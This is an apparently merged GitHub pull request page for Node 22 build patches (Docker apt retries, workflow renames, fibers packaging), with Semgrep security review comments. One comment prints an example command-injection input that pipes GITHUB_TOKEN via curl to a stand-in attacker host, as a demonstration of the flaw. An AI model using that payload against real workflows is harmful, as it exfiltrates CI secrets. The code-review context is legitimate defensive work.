Skip to content

Merge v22 patches into 22.23.4 branch - #28

Merged
nneha-a merged 26 commits into
v22.23.4from
v22.21.1-before-cherry-pick
Oct 23, 2026
Merged

nneha-a merged 26 commits into
v22.23.4from
v22.21.1-before-cherry-pick

Conversation

@nneha-a

@nneha-a nneha-a commented Oct 23, 2026

Copy link
Copy Markdown

No description provided.

JackStrohm-asana and others added 25 commits February 3, 2026 13:30
Ubuntu 22.04 ARM64 mirrors (ports.ubuntu.com) are rate-limiting with 403 errors.
Ubuntu 20.04 works reliably for both x64 and ARM64 builds.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
Ubuntu 22.04 is required for production and matches the v20 FIPS build.
The earlier 403 errors were transient rate-limiting, not a fundamental issue.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
Adds retry loop with 5 attempts and 15-second delays to handle
transient mirror rate-limiting (403 errors) on ARM64 builds.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
Combines apt-get update, software-properties-common install, PPA setup,
and main package install into one retry loop. This protects all network
operations from transient 403 errors on ARM64 mirrors.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
Same retry pattern as FIPS Dockerfile - consolidates all apt-get
commands into single retry loop to handle transient mirror failures.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
- Build Node -> Build Node (Standard)
- Build Node with FIPS-enabled OpenSSL -> Build Node (FIPS)
- Build node-fibers with prebuilt Node -> Build Custom Fibers
- Build node-packages with prebuilt Node -> Build Node-Packages

Also updated workflow_run triggers to reference new name.

Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>
…dates

- Use versioned fibers base package (20250515) which includes Node 20 binaries
- Add validation that combined fibers archive contains Node 18, 20, and 22 binaries
- Add diagnostic output when linux-*.gz injection step finds no files
- Replace broken sed block-removal commands with Python to avoid leaving empty stubs
- Preserve nodejsfips (Node 20 FIPS) toolchain instead of removing it

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
node_modules/.bin/node-gyp was not found because node-gyp was not
explicitly installed in the pprof-source workdir. Add an explicit
npm install step to make it available.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
- Replace --ignore-scripts with --build-from-source so npm properly
  runs build steps for pprof dependencies
- Switch node-gyp rebuild to use explicit --nodedir flag (more reliable
  than npm_config_nodedir env var)
- Use find to locate the built .node binary instead of hardcoding
  profiler.node, which may differ across pprof-nodejs versions

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Comment on lines +60 to +62
run: |
docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is interpolated into a shell command, allowing command injection on the GitHub Actions runner. An attacker can execute commands and potentially steal tokens, secrets, source code, or build artifacts.

More details about this

inputs.DOCKER_FILE is inserted directly into a shell command. Because workflow inputs can be supplied or influenced by an untrusted workflow invocation, shell metacharacters in that value are executed by the runner rather than treated as part of the Dockerfile path.

For example, an attacker could provide this input:

Dockerfile; echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect; #

The step would effectively run:

docker build -t node22_fips_build -f ./Dockerfile
echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect
# .

The injected command runs on the same GitHub Actions runner as docker build, so it can read accessible environment variables, workspace files, checked-out Node source, Docker credentials, and other tokens or secrets available to the job. An attacker could then use those credentials to access repositories, publish modified artifacts, or exfiltrate source code.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .
env:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
run: |
docker build -t node22_fips_build -f "./$DOCKER_FILE" .
View step-by-step instructions
  1. Add an env entry to the Execute the Dockerfile step to transfer the workflow input into an environment variable:
    DOCKER_FILE: ${{ inputs.DOCKER_FILE }}

  2. Replace the direct expression in the shell command with the quoted environment variable:
    docker build -t node22_fips_build -f "./$DOCKER_FILE" .

  3. If only specific Dockerfiles are valid, validate DOCKER_FILE against an allowlist before running Docker, such as case "$DOCKER_FILE" in Dockerfile|Dockerfile.*) ;; *) exit 1 ;; esac.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread build-local.sh

# Build Node.js
echo "Building Node.js (this may take a while)..."
make -j${JOBS}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Low severity issue identified in your code:

Unquoted JOBS can be split or glob-expanded before make runs. This may change the parallel-job argument or pass unintended arguments to the build.

More details about this

make -j${JOBS} expands JOBS without quotes. Because JOBS can come from the environment (JOBS=${JOBS:-...}), whitespace, glob characters, or an altered IFS can split or transform its value into multiple command-line arguments, changing the requested parallelism or causing make to receive unintended targets and options. This makes the build behavior depend on untrusted or unexpected shell input rather than treating JOBS as one value.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
make -j${JOBS}
case "${JOBS}" in ''|*[!0-9]*|0*) printf '%s\n' "Error: JOBS must be a positive integer." >&2; exit 1;; esac; make -j"${JOBS}"
View step-by-step instructions
  1. Quote the JOBS expansion in the make command: change make -j${JOBS} to make -j"${JOBS}".
  2. Keep JOBS as a single scalar value; if parallel-job input can be user-controlled, validate it as a positive integer before invoking make. Quoting prevents shell word splitting and ensures make receives one job-count argument.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread stage_for_s3.bash
# Download packages and move to codez
gh release download -R Asana/node node-v22.21.1-release -p "packages_*.gz"
echo "Moving packages to $CODEZ/node/gyp"
mv packages_arm64.tar.gz $CODEZ/node/gyp/packages_arm64_node22.tar.gz

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Low severity issue identified in your code:

Unquoted $CODEZ can be split or glob-expanded, so mv may use an incorrect destination path or fail.

More details about this

$CODEZ is unquoted in the destination argument to mv on this line. If CODEZ contains whitespace or shell glob characters, Bash can split or expand it, causing the archive to be moved to the wrong location or making mv fail; quoting preserves $CODEZ/node/gyp/packages_arm64_node22.tar.gz as one destination path.

To resolve this comment:

✨ Commit fix suggestion
  1. Double-quote the $CODEZ expansion in both mv commands so the destination path remains one argument even when it contains whitespace or shell metacharacters:
    mv packages_arm64.tar.gz "$CODEZ/node/gyp/packages_arm64_node22.tar.gz"
    mv packages_x64.tar.gz "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread stage_for_s3.bash

# Flatten directory structure if needed (handle both usr/local and direct layouts)
if [ -d "$target_dir/usr/local" ]; then
mv $target_dir/usr/local/* "$target_dir"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Low severity issue identified in your code:

Unquoted $target_dir can be split or glob-expanded, causing mv to use unintended source paths. This makes archive flattening unreliable and potentially moves or overwrites the wrong files.

More details about this

$target_dir is unquoted in the source path of mv $target_dir/usr/local/* "$target_dir". If target_dir contains whitespace or shell metacharacters, Bash performs word splitting and pathname expansion before mv runs, which can turn the intended directory path into multiple or unintended source paths. This can move the wrong files, fail to flatten the extracted archive, or overwrite an unexpected destination. Quoting this expansion preserves the directory name as one path while leaving the deliberate * selection of its contents intact.

To resolve this comment:

✨ Commit fix suggestion
  1. Quote the variable portion of the source path while leaving the glob unquoted so the shell expands matching files individually:
    mv "$target_dir"/usr/local/* "$target_dir"
  2. Keep the destination quoted as "$target_dir" so directory names containing whitespace remain a single argument.
  3. Do not write mv "$target_dir/usr/local/*" "$target_dir" because that prevents * from expanding to the files inside the directory.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread stage_for_s3.bash
gh release download -R Asana/node node-v22.21.1-release -p "packages_*.gz"
echo "Moving packages to $CODEZ/node/gyp"
mv packages_arm64.tar.gz $CODEZ/node/gyp/packages_arm64_node22.tar.gz
mv packages_x64.tar.gz $CODEZ/node/gyp/packages_amd64_node22.tar.gz

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Low severity issue identified in your code:

The unquoted $CODEZ expansion can be split or pathname-expanded, causing mv to use the wrong destination or fail when placing the amd64 package.

More details about this

On line mv packages_x64.tar.gz $CODEZ/node/gyp/packages_amd64_node22.tar.gz, the $CODEZ expansion is unquoted. If CODEZ contains whitespace or characters matched by pathname expansion, Bash can split or expand the destination into multiple arguments, so mv may fail or move the archive to an unintended path. This is especially relevant here because CODEZ supplies the shared destination root for downloaded release artifacts; an unexpected value can prevent the amd64 package from being placed at node/gyp/packages_amd64_node22.tar.gz.

To resolve this comment:

✨ Commit fix suggestion
  1. Quote the destination path so the value of CODEZ cannot be split on whitespace or shell separators:
    mv packages_x64.tar.gz "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"
  2. Keep the source path quoted as well for consistent safe shell handling:
    mv "packages_x64.tar.gz" "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread stage_for_s3.bash
fi
echo "Validation passed: archive contains binaries for Node 18, 20, and 22"

SHORT_HASH=$(cat temp.tgz | sha1sum | cut -c1-4)

@semgrep-code-asana semgrep-code-asana Bot Oct 23, 2026 •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Medium severity issue identified in your code:

Useless call to 'cat' in a pipeline. Use '<' and '>' for any command to read from a file or write to a file.

🧹 Fixed in commit 19c9937 🧹

@semgrep-code-asana

Copy link
Copy Markdown

Semgrep found 1 useless-cat finding:

🟡 Medium severity issue identified in your code:

Useless call to 'cat' in a pipeline. Use '<' and '>' for any command to read from a file or write to a file.

Please reach out to Security (go/sec-inbox) if you need help with this.

Semgrep found 12 github-actions-mutable-action-tag findings:

🟡 Medium severity issue identified in your code:

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

Please reach out to Security (go/sec-inbox) if you need help with this.

@nneha-a
nneha-a merged commit b5dbd8d into v22.23.4 Oct 23, 2026
12 of 21 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

2 participants